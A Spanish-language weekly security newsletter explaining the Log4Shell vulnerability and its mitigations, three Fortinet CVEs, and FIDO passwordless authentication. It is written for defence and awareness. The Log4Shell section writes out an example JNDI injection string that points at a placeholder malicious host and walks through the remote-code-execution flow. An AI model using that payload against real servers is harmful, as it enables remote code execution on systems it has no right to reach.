Esta semana en ciberseguridad – Diciembre semana 2

Log4Shell: vulnerabilidad crítica con exploit para #Log4j

Que es?
El jueves (9 de diciembre), se descubrió un exploit de día 0 en la popular biblioteca de registro de Java log4j (versión 2) que da como resultado la ejecución remota de código (RCE) al registrar una determinada cadena

Dado lo ubicuo que es esta biblioteca, el impacto del exploit (control total del servidor) y lo fácil que es explotar, el impacto de esta vulnerabilidad es bastante grave. Lo llamamos “Log4Shell” para abreviar.

El exploit de día 0 se tuiteó junto con un POC publicado en GitHub. Ahora se ha publicado como CVE-2021-44228.

Esta publicación proporciona recursos para ayudarlo a comprender la vulnerabilidad y cómo mitigarla.

Publicado originalmente el 9 de diciembre y actualizado por última vez el 13 de diciembre a las 1:32 am PST

Esta publicación de blog también está disponible en https://log4shell.com/

¿Quién se ve afectado?
Muchos, muchos servicios son vulnerables a este exploit. Ya se ha descubierto que los servicios en la nube como Steam, Apple iCloud y aplicaciones como Minecraft son vulnerables.

Aquí se ha compilado una lista extensa de respuestas de las organizaciones afectadas.

Cualquiera que use Apache Struts probablemente sea vulnerable. Hemos visto vulnerabilidades similares explotadas antes en brechas como la filtración de datos de Equifax de 2017.

Muchos proyectos de código abierto como el servidor de Minecraft, Paper, ya han comenzado a parchear el uso de log4j2.

Se ha demostrado que simplemente cambiar el nombre de un iPhone desencadena la vulnerabilidad en los servidores de Apple.

Actualizaciones (3 horas después de la publicación): según esta publicación de blog, las versiones de JDK superiores a 6u211, 7u201, 8u191 y 11.0.1 no se ven afectadas por el vector de ataque LDAP. En estas versiones, com.sun.jndi.ldap.object.trustURLCodebase se establece en falso, lo que significa que JNDI no puede cargar código remoto utilizando LDAP.

Sin embargo, existen otros vectores de ataque dirigidos a esta vulnerabilidad que pueden resultar en RCE. Un atacante aún podría aprovechar el código existente en el servidor para ejecutar una carga útil. En esta publicación de blog se analiza un ataque dirigido a la clase org.apache.naming.factory.BeanFactory, presente en los servidores Apache Tomcat.

Mitigación permanente
La versión 2.15.0 de Log4j corrige la vulnerabilidad (requiere Java 8).
Para versiones antiguas se puede renombrar o eliminar el archivo JndiLookup.class

Mitigación temporal
Hay una discusión en HackerNews sobre el tema para la versión 2.10.0. Para mitigar la vulnerabilidad en lugar de actualizar Log4j, el siguiente parámetro debe establecerse en true al iniciar la máquina virtual Java: log4j2.formatMsgNoLookups;

La empresa de ciberseguridad Cybereason lanzó un script o “vacuna” que aprovecha la vulnerabilidad para desactivar una configuración en una instancia remota y vulnerable de Log4Shell. Básicamente, la vacuna corrige la vulnerabilidad explotando el servidor vulnerable.

La herramienta llamada Logout4Shell cambia algunas propiedades del sistema log4j2.formatMsgNoLookups = true, elimina la clase JndiLookup del classpath y, si el servidor tiene Java> = 8u121, cambia la configuración com.sun.jndi.rmi.object.trustURLCodebase y com.sun.jndi.cosnaming.object.trustURLCodebase.

Cómo funciona el exploit
Por ejemplo, una cadena de User-Agent que contenga el exploit podría pasarse a un sistema backend escrito en Java. Es por eso que es vital que todo el software basado en Java que use Log4j versión 2 esté parcheado o que se apliquen mitigaciones de inmediato. Incluso si el software orientado a Internet no está escrito en Java, es posible que las cadenas se pasen a otros sistemas que están en Java, lo que permite que suceda el exploit.

  • El atacante envía un parámetro manipulado al servidor (por HTTP u otro protocolo). Por ejemplo la siguiente cadena: ${jndi:ldap://sitio-malicioso.com/exp}
  • El servidor vulnerable recibe la solicitud con el payload.
  • La vulnerabilidad en Log4j permite que el payload se ejecute y el servidor realiza una petición al sitio del atacante. La petición se realiza a través del protocolo JNDI.
  • La respuesta desde el servidor del atacante contiene un archivo Java remoto (por ejemplo, un archivo exploit.class) que se inyecta en el proceso que está ejecutando el servidor vulnerable.
  • Se ejecuta código en el servidor vulnerable.

Aquí se puede ver un ejemplo de una aplicación vulnerable.

FUENTES:
(1) https://www.lunasec.io/docs/blog/log4j-zero-day/
(2) https://blog.segu-info.com.ar/2021/12/log4shell-vulnerabilidad-critica-con.html
(3) https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/

3 Vulnerabilidades en productos Fortinet

Se han reportado de tres vulnerabilidades en productos Fortinet, una de ellas consideradas como crítica. Según el reporte, la operación exitosa de las fallas permitiría la Ejecución Remota de Código (RCE).

A continuación se presentan breves descripciones de las fallas reportadas, además de los puntajes asignados según el Common Vulnerability Scoring System (CVSS).

  • CVE-2021-26109: un desbordamiento de enteros en la interfaz de FortiGate FortiOS SSL VPN permitiría a los actores de amenazas no autenticados enviar solicitudes HTTP especialmente diseñadas con el fin de ejecutar código arbitrario en el sistema afectado.
    Esta es una falla crítica y recibió un puntaje CVSS de 8.5/10 ya que su explotación exitosa permitiría el compromiso total de los sistemas expuestos. La falla reside en las siguientes versiones de FortiOS 6.0.0 y superiores. Actualizar a FortiOS 7.0.1+, 6.4.6+, FortiOS 6.2.10+ o FortiOS 6.0.13+.
  • CVE-2021-26110: las restricciones de acceso incorrectas en el daemon autod de FortiOS y FortiProxy permitirían a los usuarios locales evadir las restricciones de seguridad en los sistemas afectados y realizar escalamiento de privilegios en los sistemas al nivel uper_admin.
    La vulnerabilidad recibió un puntaje CVSS de 7.7/10 y es considerada de baja severidad. Esta falla afecta a FortiOS 5.6.0 y superiores así como a FortiProxy 1.2.0 y superiores. Actualizar a FortiOS 7.0.1+, 6.4.6+, FortiOS 6.2.10+ o FortiOS 6.0.13+. Actualizar a FortiProxy v2.0.2+ o FortiProxy version 1.2.10+.
  • CVE-2021-26103: una validación insuficiente del origen de la solicitud HTTP en la interfaz SSL VPN de FortiOS y FortiProxy permitiría a los actores de amenazas remotos redirigir a un usuario objetivo a un sitio web malicioso para realizar acciones arbitrarias en el sistema afectado.
    La falla recibió un puntaje CVSS de 5.3/10 y reside en las versiones 5.6.0 y superiores y en FortiProxy: 1.2.0 y superiores. Actualizar a FortiOS 7.0.1+, 6.4.7+, FortiOS 6.2.10+ o FortiOS 6.0.13+. Actualizar a FortiProxy v2.0.2+ o FortiProxy version 1.2.10+.

Si bien no se han detectado intentos de explotación activa, debemos recordar que estas fallas pueden ser explotadas por actores de amenazas remotos, por lo que lo más recomendable es instalar las actualizaciones disponibles lo antes posible.

FUENTE: https://www.hkcert.org/security-bulletin/fortinet-fortios-multiple-vulnerabilities_20211208 y https://blog.segu-info.com.ar/2021/12/vulnerabilidad-en-ejecucion-remota-de.html

Avanzando a la Identidad Digital

Las últimas semanas hemos estado comentando acerca de los avances en la identidad digital y cómo esta afecta a los negocios, tanto en el acceso de los usuarios internos, como de sus clientes.

Hoy profundizaremos en un protocolo denominado FIDOFast Identity Online, que puede ayudar a acelerar el proceso de autenticación.

La autenticación de identidad rápida en línea (FIDO) es un conjunto de especificaciones técnicas abiertas que definen los mecanismos de autenticación del usuario que reducen la dependencia de las contraseñas. Hasta la fecha, la Alianza FIDO publicó tres conjuntos de especificaciones:

  1. FIDO Universal Second Factor (FIDO U2F) proporciona un medio estándar para conectar un autenticador de hardware de segundo factor. Los navegadores web utilizan principalmente esta interfaz para permitir que las aplicaciones web interactúen con el autenticador de hardware de un usuario. Con el lanzamiento de FIDO2, U2F ha sido renombrado como CTAP1.
  2. Los protocolos de cliente a autenticador (CTAP) permiten a los usuarios autenticarse en una aplicación web o nativa utilizando un autenticador incrustado en la computadora host o conectado a la computadora host. Similar a FIDO U2F, CTAP está diseñado para proporcionar una interfaz estandarizada a un autenticador de hardware.
  3. FIDO Universal Authentication Framework (FIDO UAF) define un marco para que los usuarios registren su dispositivo (es decir,. portátil, escritorio, móvil) al servicio en línea y seleccione uno de los mecanismos de autenticación locales disponibles en el dispositivo para autenticar a su usuario. El servicio en línea puede seleccionar qué mecanismo de autenticación disponible localmente aceptará. Por ejemplo, los usuarios pueden registrar su dispositivo móvil y seleccionar su sensor de huellas digitales incorporado como el medio de autenticación local utilizado para autenticarlos en el servicio en línea. Otros mecanismos de autenticación comunes incluyen mirar la cámara, hablar por micrófono o ingresar un PIN. Una vez registrados y aceptados por el servicio en línea, los usuarios pueden autenticarse en el servicio en línea utilizando la acción de autenticación local registrada en lugar de usar las opciones de nombre de usuario y contraseña más tradicionales.

Los protocolos FIDO están diseñados desde cero para proteger la privacidad del usuario. Los protocolos no revelan datos confidenciales de usuarios que puedan ser utilizados por diferentes servicios en línea para colaborar y rastrear a un usuario en todos los servicios. Otros datos confidenciales como impresiones biométricas y PIN nunca abandonan el dispositivo del usuario para garantizar que un atacante no pueda interceptarlo o comprometerlo.

Para autenticar a un usuario, una aplicación, a menudo denominada parte de confianza, utiliza API del lado del cliente especificadas por FIDO para interactuar con el autenticador registrado de un usuario. Para las aplicaciones web, las API del lado del cliente incluyen WebAuthn implementado por el navegador web, que a su vez llama a FIDO CTAP para acceder al autenticador.

Para autenticar a un usuario, la parte que confía pasa un desafío criptográfico al autenticador registrado y evalúa la respuesta para determinar la autenticidad de los secretos almacenados en el dispositivo cliente y utilizados para producir la respuesta.

En si, FIDO utiliza criptografía asimétrica para garantizar que todos los secretos sensibles y el material clave criptográfico permanezcan en el dispositivo del cliente en todo momento y no se transmitan al servicio de autenticación.

¿Cómo funciona la autenticación FIDO??
La autenticación FIDO requiere un paso de registro inicial. En los casos en que el dispositivo de usuario admite múltiples formas de autenticación (p. Ej. escáner de huellas digitales, grabador de huellas dactilares, identificación facial, etc.), se le pide al usuario que elija un autenticador compatible con FIDO entre las opciones disponibles en el dispositivo que coincida con la política de aceptación de la aplicación de autenticación. Luego, el usuario desbloquea el autenticador FIDO utilizando cualquier mecanismo integrado en el autenticador, proporcionando una huella digital, presionando un botón en un dispositivo de segundo factor o ingresando PIN

Una vez que se desbloquea el autenticador, el dispositivo del usuario crea un nuevo y único par de claves criptográficas públicas / privadas que se utilizará para autenticar el acceso. La clave pública se envía al servicio en línea y se asocia con la cuenta del usuario. La clave privada y todos los demás datos confidenciales relacionados con el método de autenticación elegido, por ejemplo, impresiones biométricas, permanecen en el dispositivo local y nunca lo dejan.

La autenticación requiere que el dispositivo del cliente demuestre la posesión de la clave privada para el servicio de autenticación respondiendo con éxito a un desafío criptográfico. La clave privada solo se puede usar después de autenticarse con éxito utilizando el autenticador registrado, por ejemplo, deslizando un dedo sobre el sensor de huellas digitales, ingresando un PIN, hablando en un micrófono, insertando un segundo dispositivo de factor, presionando un botón, etc. Luego, el dispositivo utiliza el identificador de cuenta de usuario proporcionado por el servicio para seleccionar la clave correcta y firmar criptográficamente el desafío del servicio. El desafío firmado se envía de vuelta al servicio, que lo verifica con la clave pública almacenada y los registros en el usuario.

Referencias: (1) https://fidoalliance.org
(2) https://www.transmitsecurity.com/blog/fido-passwordless-trust-but-verify-then-verify-again